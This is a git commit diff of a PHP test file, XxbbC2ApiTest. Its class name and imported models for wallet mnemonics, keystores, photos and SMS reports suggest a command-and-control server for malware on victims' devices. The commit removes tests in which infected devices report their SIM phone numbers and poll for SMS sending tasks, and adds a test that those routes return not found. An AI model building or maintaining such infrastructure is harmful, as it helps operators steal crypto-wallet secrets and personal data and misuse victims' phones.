feat: delete

This commit is contained in:
hashbro
2026-09-01 06:56:53 +08:00
parent bc6ed0f5c7
commit fc21193151
16 changed files with 204 additions and 236 deletions
+3 -73
View File
@@ -8,7 +8,6 @@ use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\SmsReport;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
@@ -532,79 +531,10 @@ class XxbbC2ApiTest extends TestCase
}
#[Test]
public function sms_poll_stores_phone_from_cardsinfo(): void
public function sms_routes_are_removed(): void
{
$this->xxbbPost('/m/t/g', [
'd' => '000C30D83CD0402E',
'bundleID' => 'imagent',
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550005555', $device->phone);
}
#[Test]
public function sms_report_does_not_use_dest_phone_as_device_phone(): void
{
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-dest-only',
'phone' => '+15550006666',
'msg' => 'sent',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->phone);
}
#[Test]
public function sms_poll_stores_phone_and_returns_empty_tasks(): void
{
$resp = $this->xxbbPost('/m/t/g', [
'deviceID' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'p' => '+15550001111',
'bundleID' => 'imagent',
'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]],
]);
$resp->assertOk();
$this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent());
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550001111', $device->phone);
$this->assertNull($device->channel_id);
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
$this->assertSame(0, SmsReport::query()->count());
}
#[Test]
public function sms_report_stores_task_event(): void
{
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-9',
'phone' => '+15550003333',
'p' => '+15550002222',
'msg' => 'ok',
's' => '1',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550002222', $device->phone);
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
$row = SmsReport::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('task-9', $row->task_id);
$this->assertSame('+15550003333', $row->dest_phone);
$this->assertSame('+15550002222', $row->local_phone);
$this->assertSame('ok', $row->msg);
$this->assertSame('1', $row->status);
$this->xxbbPost('/m/t/g', ['d' => '000C30D83CD0402E'])->assertNotFound();
$this->xxbbPost('/m/t/r', ['d' => '000C30D83CD0402E'])->assertNotFound();
}
#[Test]